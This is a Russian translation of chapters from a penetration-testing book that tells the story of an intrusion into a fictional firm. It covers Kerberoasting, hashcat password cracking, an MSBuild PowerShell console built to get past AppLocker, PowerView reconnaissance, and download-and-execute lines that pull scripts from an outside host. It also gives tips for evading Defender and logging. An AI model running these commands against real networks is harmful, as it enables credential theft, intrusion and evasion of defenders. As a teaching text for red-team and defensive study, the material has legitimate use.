Если нам удастся завладеть этими зашифрованными сведениями, сможем ли мы, скажем, взломать их и определить значение секретного ключа? Несомненно! В данном случае значением ключа является доменный пароль этой службы. Этот метод был назван Тимом Медином двойной прожаркой Цербера (Kerberoasting).

Самым замечательным в данной атаке является то, что она представляется совершенно легитимной как с точки зрения системы, так и с точки зрения сетевой среды. Запросы TGS на доступ к службе происходят постоянно, поэтому ATA трудно подобрать реальные отличительные признаки для пометки такой атаки. Анализ поведения способен подхватить огромное число последовательных билетов TGS к Контроллеру домена, однако это даст удручающее число ложных срабатываний, поскольку это стандартное и повторяющееся событие, в особенности в среде Citrix.

Прожарка баз данных цербера

Применим свою теорию на практике. Дабы избежать обнаружения какими бы то ни было инструментами анализа поведения, в качестве дополнительной меры предосторожности мы запросим всего пару билетов TGS для учётных записей, исполняющих базы данных SQL Server: sqlexpress и sqlexpress2. Для этого мы будем применять сценарий PowerShell Invoke-Kerberoast, поставляемый с инфраструктурой Empire.

Мы отключили ведение журнала блоков сценариев, но это не повод забывать про осторожность. Как и в случае с PowerView, мы изменим свой сценарий Invoke-Kerberoast внеся несколько простых изменений, таких как модификация названий методов, уничтожение комментариев и удаление некоторых вызывающих подозрение ключевых слов, таких как krbtgt и powerview. Этого должно быть достаточно для того, чтобы обмануть большинство инструментов безопасности. Чтобы обнаружить эти изменения, сравните исходный сценарий со страницы https://sf-res.com/kerberoast.ps1, который, скорее всего, активирует Windows Defender когда вы его загрузите в новом компьютере с Windows и изменённый сценарий, который должен оставаться незамеченным, доступным из папки ps_scripts из https://github.com/sparcflow/HackLikeALegend/.

Прежде всего нам требуется объект браузера в своём окне PowerShell:

PS X:\> $browser = New-Object System.Net.WebClient;
PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::Default
NetworkCredentials;

Затем мы можем выгрузить свой видоизменённый сценарий:

PS X:\> $content = $browser.DownloadString("https://sf-res.com/kerberoast.ps1")

PS X:\> IEX($content);

и выполнив его, ограничивая свой поиск до SPN на удовлетворение условию *sql*. Мы сохраняем свои результаты в hash.txt в понимаемом hashcat формате, самом знаменитом программном обеспечении взлома паролей, которым мы воспользуемся позднее для восстановления значения секретного зашифрованного ключа:

PS X:\> Invoke-Kerber -OutputFormat hashcat -LDAPFilter '(SamAccountName=*sql*)' | out-file hash.txt

$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc:1488*$76E348C...
$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc:1488*$1888A1...
$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc:1488*$D08C...
$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc:1488*$15A3FFE057...

Ниже приводится команда для взлома этих паролей, где -m ссылается на алгоритм Kerberos 5 TGS-REP etype 23, а wordlist.txt это список вероятных претендентов на пароли:

C:\HLL\Lab> .\hashcat64.exe -m 13100 hash.txt wordlist.txt

Мы попробуем взломать эти пароли в своём стандартном виртуальном частном сервере при помощи стандартных перечней паролей, находящихся в Kali, однако алгоритм Kerberos 5 TGS-REP примерно в 150 раз медленнее чем более распространённый формат хэширования NT. Принимая во внимание нашу текущую скорость хэширования, это вполне запросто может занять несколько месяцев, если не лет. Нам требуется максимально оптимизировать всю дерьмовость такой атаки перебором в автономном режиме.

Взламываем пароли

Как известно всем, кто знаком со взломом паролей, существуют две рукояти, которые можно настраивать для ускорения данного процесса:

Применение первоклассных списков слов, которые охватывают широкий спектр претендентов паролей от прохода по клавиатуре (qwerty) до классического словаря слов с наиболее распространёнными шаблонами сложности.

Настройка экипировки взлома для применения мощных GPU (graphics processing units, графических процессоров). В то время как ЦПУ разработаны для последовательного исполнения инструкций в своих четырёх или восьми ядрах, GPU предпочитают параллельные операции, распределённые по тысячам менее мощных ядер. Это идеально подходит для таких операций как взлом паролей, требующих применения одной и той же инструкции к нескольким наборам данных с относительно некоррелированными выходными данными.

Давайте вначале взглянем на параметры для подъёма мощности GPU.

Настройка взлома пароля

Построение собственной установки для взлома паролей требует определённого объёма капиталовложений и страсти. Если вы не хотите сбалансировать стоимость с увлечением майнингом криптовалюты, издержки на оборудование могут быть непомерно высокими, а приходящие порой счета за электроэнергию могут быстро стать солидными.

Что касается 2022 года, NVIDIA GTX 3080 вероятно одна из наилучших графических карт для взлома паролей. Вот пара отчётов об эталонном тестировании исполнения hashcat в единственной карте GTX 3080 для различных типов хэширования:

C:\HLL\Lab> .\hashcat64.exe -b --benchmark-all
Hashtype: MD5
Speed.Dev.#1.....: 54033.5 MH/s (41.28ms)

Hashtype: Kerberos 5 TGS-REP etype 23
Speed.Dev.#1.....: 1191.8 MH/s (59.91ms)
--snip--

Мы можем видеть, что взлом хэширования Kerberos 5 TGS-REP в 45 раз медленнее чем взлом хэширований MD5, следовательно имеется потребность в большой вычислительной мощности GPU. Если бы, скажем, мы скомбинировали шесть таких плохих парней - каждого со стоимостью около $1600 - мы бы получили ускорение космической ракеты для своих усилий по взлому билетов TGS Kerberos до приблизительно 7.1 миллиардов вычислений хэша для пары своих извлекаемых хэширований. Сцепляя это со своим физическим компьютером с 32 ГБ оперативной памяти, такая экипировка должна была бы разумно покрыть наши потребности.

Если вложения в графические карты не взывает к хакеру/ геймеру внутри вас, вы всегда можете воспользоваться преимуществами служб облачных вычислений GPU, таких как AWS, Paperspace, OVHcloud или Google Cloud Computing. Экземпляр p3.16xlarge AWS, одной из их наиболее мощных машин, обладает 8 картами NVIDIA V100, достигающей ошеломительной скорости хэширования свыше 8 миллиардов хэшей в секунду для взлома билетов TGS Kerberos. Если этого недостаточно для взлома хэшей Strat Jumbo, я этого не понимаю. Запуск такого типа машин на 48 часов напрямую должно быть достаточно для взлома нашего перечня хэшей, а стоимость меньше покупки отдельной карты NVIDIA GTX 3080.

В конце концов, то, как вы решите получить требуемую вычислительную мощность, зависит от той стратегии инвестирования, которая наилучшим образом соответствует вашим потребностям. Любой из следующих сценариев предоставит вам довольно приличную установку для взлома:

Высокая производительность: Аренда в AWS экземпляра p2.8xlarge (8 NVIDIA K80) за $7.2 в час (около $172 за 24 часа) - 248 миллионов хэшей в секунду

Грандиозная производительность: Покупка 6 NVIDIA GTX 1080s за $4 800 – 1.7 миллиардов хэшей в секунду

Производительность пинты кофе: Покупка 6 NVIDIA GTX 3080s за $9 600 – 7.1 миллиардов хэшей в секунду

Ошеломительная производительность: Аренда в AWS экземпляра p3.16xlarge (8 NVIDIA V100) за $24 в час (около $576 за 24 часа) - 8.1 миллиардов хэшей в секунду

Мы выбираем самый скромный из этих сценариев, арендовав на 24 часа экземпляр p2.8xlarge AWS. Для компенсации относительной нехватки мощности, нам надлежит создать сильный список слов, по которому должен пройти hashcat.

Составление списка слов

Наша нынешняя установка для взлома, сколь бы мощной она ни была, не сможет реально исчерпать пространство возможных претендентов на пароль. Но это нормально, мы не пользуемся уязвимостью в алгоритме шифрования Kerberos, как таковой; вместо этого мы пользуемся тем как люди склонны определять пароли. Как мы наблюдали в Главе 8, люди часто строят свои пароли на словарях слов, добавляя к ним немного цифр и специальных символов. Мы построим свой перечень слов для отражения такой человеческой тенденции. Мы не нацелены на случайные, хорошо построенные пароли; мы согласны с тем, что нам требуется отказаться от них и вместо этого стремиться к повышению эффективности при помощи обычных человеческих паролей.

Мы начнём с распространённых слов словаря. Как правило, для формирования корня своих паролей люди применяют знакомые им предметы, поэтому нам надлежит искать списки слов, содержащие имена, места, времена года, группы, города и т.п., а также относящиеся к областям деятельности Strat Jumbo (программирование и финансы).

CrackStation обладает одним из самых полных и разнообразных доступных бесплатно в Интернете списков слов с более чем 1.4 миллиардов претендентов, включая слова, извлекаемые из Wikipedia, Project Gutenberg и прочих ресурсов с открытым исходным кодом. Это отличный источник входных данных, который охватывает большое число тем. Мы можем применять данный перечень слов в качестве базы и приспособить его к своей текущей цели, добавив слова с веб- сайта Strat Jumbo.

Для перелопачивания атакуемого сайта и извлечения слов с целью добавления в свой список слов, мы исполним собственный сценарий wordcollector.py из папки py_scripts в https://github.com/sparcflow/HackLikeALegend/:

root@C2Server:~# python wordcollector.py https://www.stratjumbo.com
financials
strataccounting
stratjumbo
--snip--

Мы сохраняем их в wordlist.txt, удаляем дубликаты и сохраняем полученный результат в новом файле, составленном из 193 011 кандидатов пароля:

root@C2Server:~# sort -u wordlist.txt > scraped_wordlist.txt| wc -l

193011

Мы добавляем эти слова к замесу CrackStation и производим единообразный список слов, составленный из уникальных и отсортированных претендентов. Мы даже можем пробросить туда несколько сотен тысяч слов из вселенной Игры престолов ибо, как нам представляется, она очень нравится администраторам Strat Jumbo. Здесь мы в поисках слов поскоблим по wiki Игры престолов:

root@C2Server:~# python wordcollector.py http://gameofthrones.wikia.com/wiki/Game_of_Thrones_Wiki

Теперь нам требуется применить правила или маски для преобразования этих миллионов допустимых претендентов в потенциальные пароли, которые отвечают политике паролей Strat Jumbo из минимума в восемь символов и трёх классов символов (верхнего и нижнего регистров, цифр и специальных символов).

Огромное число людей соревновалось в создании лучших и наиболее действенных правил, охватывающих как тривиальные, так и невразумительные сочетания от знаменитых правил KoreLogic до случайным образом выбираемых репозиториев GitHub, например, https://github.com/praetorian-inc/Hob0Rules/. По моему личному мнению, большинство этих наборов правил слишком усердно пытаются перехватывать тот самый 1 процент паролей, которые ускользают от взломщиков паролей, вместо того, чтобы имитировать настоящие пароли, применяемые отчаявшимися сотрудниками, пытающимися справляться со всё более строгими политиками паролей. К примеру, набор правил rockyou-30000.rule очень хорош для начала, но он не принимает во внимание очевидные комбинации в виде пасхалий букв, за которыми следуют цифра, специальные символы с последующими цифрами, первыми заглавными буквами и добавленными перед ними цифрами или специальными символами.

С этой целью я разработал свой собственный список слов с названием corporate.rule, который заполняет эти пробелы и неплохо имитирует корпоративные политики паролей. В можете обнаружить его в ресурсах этой книги. Обычно я запускаю его совместно с набором правил RockYou и до сих пор это сочетание оказывалось очень действенным (хотя, конечно, это предмет для постоянного совершенствования). Команда hashcat демонстрирует, что эти правила в применении к перечню слов, составленных из одного слова, дают около 34 000 новых претендентов:

C:\> .\hashcat64.exe -m 13100 hash.txt one_word.txt -r custom_rule.txt
--snip--
Progress.........: 34601/34601 (100.00%)
Rejected.........: 0/34601 (0.00%)
Restore.Point....: 1/1 (100.00%)
Candidates.#1....: Example!@#$ -> Example!@#$%

Применение этого набора правил к 1000 претендентов даёт в общей сложности 34 миллиона паролей, что может показаться большим числом, однако при 248 миллионов вычислений хэшей в секунду наша платформа исчерпает это пространство ключей за 0.13 секунды. Экстраполируя эти цифры для своего текущего набора правил, мы можем рассчитать свой верхний предел базового перечня слов, который мы способны передавать hashcat для исчерпания всех возможностей в рамках бюджета на 24 часа.

В зависимости от имеющихся в нашем распоряжении ресурсов, мы можем пожелать сократить перечень слов CrackStation до размера, которым мы способны заполнить 24 часа или, быть может, применять меньше правил и, тем самым, вырабатывать меньше паролей для каждого из претендентов. Всё дело в правильном выборе баланса для того чтобы вписаться в рамки своего бюджета, но при этом обладать приличным шансом для взлома паролей.

Для ещё большего расширения пределов взлома паролей, мы воспользуемся ещё одним важным принципом: природа человека едина во всём мире! Чей- то старый пароль это чей- то новый пароль. Мы можем собирать ранее утёкшие во время крупных взломов пароли для создания не требующего обработки правил списка слов. В конце концов, это настоящие пароли, которые, скорее всего, соблюдают аналогичные правила сложности паролей. Это сэкономит нам гигантские вычислительные мощности. Репозиторий GitHub Berzek0 Real-Passwords перечисляет около 2 миллиардов утёкших паролей.

Исполнение Hashcat

Вооружившись этими претендентами, мы запускаем в своей платформе AWS GPU экземпляры самых последних hashcat: один без обработки правил с применением утёкших паролей и все прочие с полными индивидуальными правилами. Через день или около того мы возвратимся для проверки полученных результатов:

C:\> .\hashcat64.exe -m 13100 hash.txt complete_wordlist.txt -r custom_rule.txt

$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-03
:14488*$87...99fa91d:L3ic3st3r@87

Recovered........: 2/5 (40.00%) Digests, 2/5 (40.00%) Salts
--snip--
Candidates.#1....: burnout -> L3ic3st3r@87

И у нас есть то что! L3ic3st3r@87 это пароль учётной записи нашей службы sqlexpress. Имейте в виду, что это не тривиальный пароль, который вы могли бы получить, применяя обычные правила, но, принимая во внимание базовые слова и наборы применявшиеся нами правил его нахождение оказалось неизбежным!

Ресурсы

Дополнительные службы SPN поясняются в статье "SPN Scanning – Service Discovery Without Network Port Scanning" Шина Миткалфи

Отличный обзор Kerberos Шина Миткалфи

"Attacking Kerberos: Kicking the Guard Dog of Hades" Тима Мидена

Глава 6. Ворваться и попасться!

Содержание

Глава 6. Ворваться и попасться!

Растим свой PowerShell

Базовый код Microsoft

Интерактивный режим

Загружаем сценарий PowerView

Глубже в рекогносцировку

Внимательно осматриваем данные

Калибруем безопасность

Пародируем пользователей

Ресурсы

В то время как приводимое в конце Главы 5 решение и в самом деле предоставляет рабочий обходной путь для AppLocker и режима с Ограничениями языка, просто не практично перестраивать проект всякий раз когда мы запускаем отдельную команду. Чтобы разрешить эту проблему, мы усилим свой ранее построенный код с тем, чтобы он включал подобную PowerShell консоль, которая интерактивно запускает команды и отображает получаемый вывод. Затем мы сможем воспользоваться им для исполнения своего сценария PowerView совместно с прочими командами разведки и получением кучи новых сведений.

Растим свой PowerShell

Базовый скелет консоли PowerShell вы можете обнаружить разбросанным по веб- сайту Microsoft Host06 Sample во множестве примеров и образцов кода. Таким образом, нам остаётся лишь вопрос настройки этих фрагментов кода и их объединения с нашим проектом MSBuild из Главы 5.

Этот каркас кода Microsoft по началу может показаться пугающим, пэтому давайте вначале разберём наиболее важные блоки. Если вы пожелаете поэкспериментировать с данным сценарием, я рекомендую вам выгрузить полную рабочую версию, console.xml из папки msbuild репозитория GitHub данной книги.

Базовый код Microsoft

Фрагмент кода из Примера 1 с веб- сайта Microsoft начинается со всеобъемлющего класса PSListenerConsoleSample, показанного в Листинге 6.1, который будет содержать все необходимые свойства и методы нашей среды PowerShell.

Листинг 6.1. Скелет класса PSListenerConsoleSample

--snip--
internal class PSListenerConsoleSample {
--snip--
  private void Run()
  {
  ¹ while (!this.ShouldExit){
    ² string cmd = this.consoleReadLine.Read();
      this.Execute(cmd);
    }

    // Выход с желательным кодом выхода, который устанавливается нашей командой выхода.
    Environment.Exit(this.ExitCode);
  }
  --snip--
}

Метод Run вызывается функцией Main и вводит в игру этот класс. Он составляется циклом ¹, который считывает ввод пользователя ² и вызывает метод Execute. Это носит поразительное сходство с тем, что мы предпринимали в Главы 5.

Наш метод Execute это обёртка вокруг executeHelper, который в свою очередь инициирует среду PowerShell через теперь знакомый метод PowerShell.Create и продолжает исполнение ввода пользователя, ранее собранного в методе Run (Листинг 6.2).

Листинг 6.2. Псевдо- реализация метода executeHelper

private void executeHelper(string cmd, object input){
  lock (this.instanceLock){
    this.currentPowerShell = PowerShell.Create();
  }
  this.currentPowerShell.AddScript(cmd);
--snip--
}

Вот и всё из самого интересного. Остальная часть кода поверх данных методов просто обеспечивает интерактивный интерфейс пользователя: расцвечивание ввода/ вывода, очистку экрана, обработку ошибок, предотвращение крайних случаев условий состязательности и тому подобного. Мы просто принимаем его в том виде, как он есть, когда мы теперь имеем представление о том где осуществляется реальная обработка.

Интерактивный режим

Теперь, чтобы вызвать этот класс PSListenerConsoleSample из нашего предыдущего проекта MSBuild, который ускользает от AppLocker, мы вначале выполним вставку этого скопированного класса целиком сразу после своего класса PsCommand. Для раскрытия его методов, мы превращаем класс PSListenerConsoleSample в public (Листинг 6.3).

Листинг 6.3. Новый скелет нашего проекта MSBuild для обладания интерактивной консолью

public class PsCommand : Task, ITask {
  public override bool Execute() {
    // Наш предыдущий код C#
    return true;
  }
}

public class PSListenerConsoleSample {
  --snip--
  // Код Microsoft для обладания интерактивной консолью
}

Теперь мы соскребём свой исполняющий команды PowerShell предыдущий код C# и заменим его несколькими строками кода, который будет конкретизировать наш PSListenerConsoleSample и вызывать его метод Run для порождения интерактивной консоли (Листинг 6.4).

Листинг 6.4. Мы конкретизируем PSListenerConsoleSample из нашего класса PsCommand

public class PsCommand : Task, ITask {

  public override bool Execute() {
    ConsoleColor oldFg = Console.ForegroundColor;
    Console.ForegroundColor = ConsoleColor.Cyan;
    Console.WriteLine("Windows PowerShell Wrapper");
    Console.WriteLine("Copyright (C) @SparcFlow. All rights reserved");

    PSListenerConsoleSample listener = new PSListenerConsoleSample();
    listener.Run();
    return true;
  } // конец метода Execute
  }
  public class PSListenerConsoleSample {
}

И вуаля... По крайней мере, это всё что нам необходимо сделать. Однако, если вы будете следовать этим рекомендациям буквально и запустите получившийся сценарий, вы утонете в море ошибок. Проблема в том, что Microsoft разбросала полностью функционирующий код по большому числу примеров в своей веб- странице. Например, класс с названием MyHostUserInterface определяется только в Примере 3, даже хотя на него присутствуют ссылки в Примере 2. Исправление таких проблем в свою очередь вводит потребность импорта новых интерфейсов.

Поскольку эти дополнения в основном представляют собой шаблонный код, копируемый непосредственно из документации Microsoft, мы не будем на них останавливаться. Опять же, вы можете выгрузить полностью рабочий сценарий с уже внесёнными изменениями из нашего репозитория GitHub.

Рисунок 6.1 показывает результаты запуска нашего нового кода Франкенштейна при помощи такой команды:

PS X:\> C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe console.txt

Рисунок 6.1

Запуск полностью рабочего сценария, производящего консоль в режиме с Полным языком

Намного лучше! Теперь, когда у нас имеется жизнеспособная практика пользователя, давайте ещё раз попробуем запустить сценарий PowerView.

Загружаем сценарий PowerView

Наше первое действие в этом новом окне PowerShell без ограничений состоит в создании объекта веб- клиента браузера для выборки сценария PowerView из Интернета:

PS X:\> $browser = New-Object System.Net.WebClient;

В Главе 5 эта команда завершалась неудачей, но на этот раз мы не получаем никаких ошибок. Затем мы инструктируем этот объект браузера воспользоваться полномочиями по умолчанию имеющегося прокси системного уровня, также как и в случае с исходящим обменом HTTP, протекающим через аутентифицированный прокси для достижения Интернета:

PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;

Наконец, мы выгружаем в память и исполняем свой сценарий PowertView. Это последняя строка является сочетанием Invoke-Expression (IEX) и DownloadString, которые выгружают и загружают данный сценарий:

PS X:\> IEX($browser.DownloadString('https://sf-res.com/miniview.ps1'));

Вы отметите, что вместо загрузки изначального сценария PowertView мы пользуемся индивидуальной усечённой версией, которая определяет лишь пару методов, которыми мы в действительности будем пользоваться. Вскоре мы вернёмся к настоящей причине этой меры.

Теперь мы собрали свой собственный интерфейс PowerShell внутри сервера Citrix, построили необходимого веб клиента и загрузили сценарий PowerView; мы можем в конце концов вызывать разные предоставляемые PowerView методы получения сведений. Вернёмся к своим делам разведки.

Глубже в рекогносцировку

Мы почти готовы к выборке множества сведений, поэтому дабы превратить их в более удобоваримые, вместо того чтобы проверять их сразу, мы запишем получаемые результаты во множество файлов, которые затем сможем выгрузить в свой сервер C2 для анализа на досуге.

Начнём с пачки сведений обо всех пользователях через команду PowerShell Get-NetUser:

PS X:\> Get-NetUser |
select name, lastlogontimestamp, serviceprincipalname, admincount, memberof |
Format-Table -Wrap -AutoSize |
out-file users.txt

Значение admincount увеличивается на единицу всякий раз, когда пользователь повышает свои полномочия в некой машине. Это может помочь нам определить пользователей домена с локальными полномочиями администраторов (хотя стоит отметить, что эти сведения это не точно, поскольку полномочия администратора могут быть утрачены со временем по различным причинам). Значение serviceprincipalname это идентификатор уникальной службы, вовлекаемый в аутентификацию Kerberos, о котором мы дополнительно поговорим в Главе 9. Значение атрибута memberof нумерует группы, к которым относится данный пользователь. Наконец, аргумент Format-Table избегает усечения длинного вывода строк, что является установленным по умолчанию поведением PowerShell. Все полученные нами сведения мы сохраняем в users.txt.

Мы продолжим выборкой перечислений групп и участия в них. Не забывайте, что наивысшим приоритетом для нас является выявление разработчиков, работающих над программным обеспечением Strat Accounting:

PS X:\> Get-NetGroup -FullData | select name, description | Format-Table -Wrap -AutoSize | out-file groups.txt

PS X:\> Get-NetGroup | Get-NetGroupMember -FullData | ForEach-Object -Process { "$($_.GroupName), $($_.MemberName), $($_.description)"} | out-file group_members.txt

Наша команда Get-NetGroup возвратит полный набор сведений, относящийся к группе: дату создания, описание, уникальный идентификатор объекта и тому подобное. Всё это мы сохраним в groups.txt. Get-NetGroupMember возвратит учётные записи пользователей, входящих в каждую заданную группу, предоставляемую в виде входных данных. Мы отправляем конвейером все группы из Get-NetGroup в Get-NetGroupMember с тем, чтобы перечислить всех участников каждой из групп. Эти сведения следуют в group_members.txt.

Также мы выполняем выборку GPO (Объектов групповой политики), которые характеризуют этот домен, например, установленную политику аудита, политику пароля, настройки безопасности и тому подобное - короче говоря, все биты настроенной командой ИТ конфигурации. Это поможет нам получить некое понимание имеющих место политик безопасности. Для этого мы воспользуемся встроенной командой Windows gpresult, которая оформит нам аккуратно форматированный отчёт HTML:

PS X:\> gpresult -h gpo.html

Наш следующий этап состоит в выводе перечня доступных совместных сетевых ресурсов посредством команды Invoke-ShareFinder и сохраняем их в shares.txt:

PS X:\> Invoke-ShareFinder | out-file shares.txt

Такие совместные папки часто содержат драгоценные сведения в диапазоне от паролей до реальных бизнес- сведений, превращая их в наиболее важные ресурсы домена. Если нам повезёт, в неком совместном ресурсе может храниться код Strat Accounting.

Дополнительные относящиеся к исполняемым в текущем сервере Citrix процессам сведения мы получаем естественной командой PowerShell Get-Process, которые сохраняем в processes.txt:

PS X:\> Get-Process |
Select-Object id, name, username, path |
Format-Table -Wrap -AutoSize |
out-file processes.txt

Далее мы выполняем выборку перечня запущенных служб, зондируя имеющийся класс win32_service через Windows Management Instrumentation (WMI) и сохраняя его в services.txt. WMI это просто ещё один способ выставления внутренних компонентов Windows и взаимодействия с ними. Порой проще выполнять выборку атрибутов определённых объектов через WMI, нежели через естественные исполняемые файлы Windows, как в данной ситуации:

PS X:\> Get-WmiObject win32_service -filter "state='running'" |
select name,processid,pathname |
Format-Table -Wrap -AutoSize |
out-file services.txt

Мы сохранили полученные результаты всех этих команд в локальных текстовых файлах (и в HTML), поэтому мы можем выгрузить их в свой сервер C2 для анализа в спокойной обстановке. Если так случится, что Citrix запрещает операции копирования и вставки (copy-past), мы можем воспользоваться бесплатной веб службой Ghostbin чтобы вставить имеющееся содержимое этих файлов с последующей выборкой из них через наш прифронтовой сервер, или же мы можем напрямую отправлять эти файлы через HTTP в наш собственный веб- сервер в этом прифронтовом сервере.

Внимательно осматриваем данные

Теперь проанализируем наши данные. С чего мы должны начинать? Наша окончательная цель - найти машины и пользователей, обладающих доступом к коду Strat Accounting, а потому вполне естественно начать с участия в группах.

Мы выполним поиск любых ключевых слов, которые способны указывать команды разработчиков в нашем файле groups.txt. Чтобы пройтись по ним вручную, имеется слишком много записей, раз мы обсуждаем компанию с почти 800 работниками. Таким образом, мы призываем себе в помощь команду grep, передавая ей ключевые слова, которые способны относиться к командам разработчиков:

root@FrontLine:~# grep -Ei "dev|code|programmer|accounting|project" groups.txt

name          Description
SNOW          Dev. Refer to doc
CERSEI        Dev. Refer to doc
YGRITTE       Dev. Refer to doc
TYRION        Dev. Refer to doc
--snip--

Как вы можете наблюдать, для ссылок на команды в Active Directory Strat Jumbo пользуется именами из Игры престолов. На данный момент нам не известно относится ли каждая из команд к проекту, или к функциональным возможностям ядра проекта, либо к домену ведения дел, охватывающего множество проектов. В конце концов, мы разберёмся с этим, когда продолжим свой набег на эту сетевую среду. Таблица 6.1 отображает предварительный просмотр участия пользователей на основе сведений, собранных в файле group_members.txt:

Таблица 6-1. Предварительный просмотр участия из group_members.txt

Группа
Участники

SNOW

jack.bosa, jake.sparrow. . .

YGRITTE

lizzie.dutch. . .

CERSEI

mozzie.caffrey, lucilla.silvy. . .

TYRION

neil.cobbo. . .

DAENERYS

cassini.morini, carl.sagan. . .

RHAEGAR

janet.mcintyre, rodolpho.schwatz, jim.marrot. . .

TYWIN

tara.tomora. . .

BAELISH

elise.first, anya.ivanova. . .

TORMUND

ron.bilius, richard.darwin, david.stuart. . .

ARYA

laura.stevens, monica.fourb. . .

Хотя применение кодовым имён,несомненно, до определённой степени забавно, тем не менее, мы добавляем себе ещё один обруч, через который нам предстоит прыгать. Как ни странно, когда мы сверяемся с перечнем пользователей, которых мы обманули в ходе своей фишинговой компании, оказывается, все они принадлежат к трём из этих групп: ARYA, TORMUND и RHAEGAR.

Естественно, вопрос на миллион долларов: связаны ли какие- либо из этих проектов с командой разработчиков Strat Accounting? Чтобы выяснить это, нам придётся вернуться и получить больше сведений. Возможно, мы сможем отыскать вики- сайт, какие- нибудь документы PDF в общих папках, архивы электронной почты и тому подобное.

Однако перед этим, возможно, стоит оценить уровень безопасности Strat Jumbo. Речь идёт о ненужных сведениях или о полном мусоре?

Калибруем безопасность

Мы пройдёмся по своему отчёту GPO gpo.html, в частности, по разделам "Security Settings" под "User Details" и "Computer Configuration", чтобы углубиться в установленную для применения политику паролей:

Minimum password length: 7 characters
Password must meet complexity requirements: Enabled
Maximum password age: 90 days
Account lockout threshold: 10 invalid logon attempts

Пароли должны изменяться по крайней мере каждые 90 дней и обязаны отвечать правилам строгой сложности. Значение порога блокировок установлено на 10 попыток, что исключает всякие атаки с автоматическим перебором.

Это достаточно стандартно; тем не менее, кое- что явно выделяется в нашем отчёте GPO в разделах "Local Policies/Audit Policy" и "Advanced Audit Configuration".

В Strat Jumbo большую популярность имеет включение регистраций! Обычно компании придерживаются стандартных политик аудита Windows, которые регистрируют лишь успешные входы в систему, неудачные попытки входа в систему, блокировку учётных записей и т.п. и никогда не задумываются о них повторно. Но Strat Jumbo к тому же регистрирует большое число дополнительных событий Windows, таких как нарушение доступа к файлам, применение прав администратора (или особых прав), изменение участия в привилегированных группах, загрузка кода в службу аутентификации LSA и тому подобное. В своём отчёте GPO мы наблюдаем:

Audit Logon: Success,Failure
Audit Special Logon: Success,Failure
Audit File Share: Failure
Audit File System: Failure
Turn on PowerShell Script Block Logging: Enabled
--snip--

К своему ужасу мы заметили, что ведение журнала блокировок регистрации PowerShell включено, что означает, что все совершённые нами команды PowerShell были записаны в Диспетчер событий! Нас может успокоить лишь тот факт, что журналы редко централизованы в отдельном месте, не говоря уж о мониторинге вредоносных полезных нагрузок ... за исключением того, что Strat Jumbo, кажется, делает именно это. Мы можем обнаружить это, осуществив поиск в перечне процессов, связанных с такими моментами как аудит и политика:

root@FrontLine:~# grep -Ei "log|audit|policy" process_list.txt
972 LogonUI          c:\windows\sysytem32\logonUI.exe
5652 nxlog           c:\Program Files (x86)\nxlog\nxlog.exe
--snip--

Это показывает нам, что nxlog, программное обеспечение для отправки регистрируемых событий, активно исполняется и отправляет события аудита в иное место.

Нам надлежит быть осторожными, чтобы не оставлять позади себя слишком широкий шлейф. Если нам повезёт, эти журналы копятся на ежедневной основе с последующим удалением через месяц без какого- бы то ни было просмотра. Менее дружественная нам ситуация включает в себя команду зорких ястребов, зорко контролирующих 140" экран в режиме 24/7 на предмет малейших предупреждений, выдаваемых первоклассным инструментарием мониторинга с машинным обучением.

Что касается антивирусного продукта, единственным активным является Windows Defender, встроенный антивирус Microsoft по умолчанию. Мы можем заключить это по запущенному в нашей машине процессу MsMpEng:

root@FrontLine:~# cat process_list.txt
5188 MsMpEng
--snip--

Вам может показаться что обойти его будет проще простого, но позднее это вызовет у нас головную боль.

Давайте на минутку вспомним о своей среде. В настоящий момент мы пребываем в сервере Windows с полными исправлениями и приличной политикой паролей, включёнными AppLocker, отключённой встроенной учётной записью администратора, PowerShell с режимом Ограниченного языка, настраиваемой политикой аудита, централизованным ведением журнала ... В конце концов, Strat Jumbo это не шутка. Тем не менее, нам удалось настроить в их сервере рабочую оболочку, воспользовавшись одной из самых простых атак: кражей пароля. Ещё одно свидетельство неспособности мира технологий решать основные ситуации подражания пользователям!

Тем не менее, было бы глупо игнорировать мерцающие вокруг нас предупредительные знаки. Strat Jumbo не шутит, когда речь заходит об информационной безопасности. Если мы свернём не туда, они станут охотиться за нами, как за кроликами в открытом зелёном поле. А это может быть лишь вершина айсберга. Быть может, имеются и иные продукты, о которых мы не догадываемся, но они прячутся внутри этой инфраструктуры, скажем, проверка пакетов, корреляция событий или инструментарий поведенческого мониторинга. Оглядываясь назад, хорошо что мы не воспользовались сбросом оболочки Empire/ Meterpreter на сотню рабочих станций через своё фишинговое письмо; маячковое поведение обычных пакетов, попадающих в одно и то же доменное имя, скорее всего, было бы перехвачено либо на сетевом, либо на системном уровне.

Раз уж мы здесь на таком тонком льду, то не будем задерживаться дольше чем это необходимо в подобном змеином гнезде.

Пародируем пользователей

У нас имеются полномочия для относящихся к трём группам разработчиков учётных записей. Когда мы пройдёмся по их скомбинированным закладкам Firefox, регистрационным записям браузеров и персональным папкам, мы должны получить некоторые документы относительно того как команды разработчиков Strat Jumbo структурированы по миру, а отсюда мы сможем определить целевым образом тех пользователей, которые работают с проектом Strat Accounting.

Для этого мы попробуем подключиться ещё раз к тому же серверу Citrix при помощи учётной записи Лауры (Рисунок 6.2).

Рисунок 6.2

Сообщение об ошибке при подключении к серверу Citrix

Кроме того что отражено на Рисунке 6.2, мы не можем войти. Пароль Лауры отклонён.

Мы испытываем три других случайным образом выбранных из полученных путём фишинга учётных данных, но сталкиваемся с точно таким же жёстким сообщением об ошибке. Мы могли бы пройтись по 31 остающимся учётным записям, но, скорее всего, вы начинаете осознавать что же произошло. Примерно за последние восемь часов четыре учётные записи были заблокированы, или, что более вероятно, сброшены. Проходящее время действительно создаёт проблемы. Каковы шансы отказа нескольких учётных записей за столь непродолжительный период времени?

Как бы маловероятным это не казалось, нам следует приступить к рассмотрению пугающей вероятности того, что Strat Jumbo каким- то образом пронюхали о нашем вторжении и быстро отреагировали. Как вы догадываетесь, это плохой признак! Нам требуется новый план.

Ресурсы

